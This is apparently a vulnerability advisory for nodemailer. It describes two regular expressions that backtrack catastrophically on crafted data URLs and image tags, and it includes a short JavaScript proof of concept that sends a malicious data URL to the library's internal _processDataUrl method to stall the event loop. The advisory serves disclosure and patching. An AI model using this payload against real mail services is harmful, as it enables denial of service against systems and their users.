nodemailer ReDoS when trying to send a specially crafted email

Summary

### Summary A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter `attachDataUrls` set, causing the stuck of event loop. Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop. ### Details Regex: /^data:((?:[^;]*;)*(?:[^,]*)),(.*)$/ Path: compile -> getAttachments -> _processDataUrl Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/ Path: _convertDataImages ### PoC https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6 https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698 ```js async function exploit() { const MailComposer = require(\"nodemailer/lib/mail-composer\"); const MailComposerObject = new MailComposer(); // Create a malicious data URL that will cause excessive backtracking // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '=='; // Call the vulnerable method with the crafted input const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl }); } await exploit(); ``` ### Impact ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.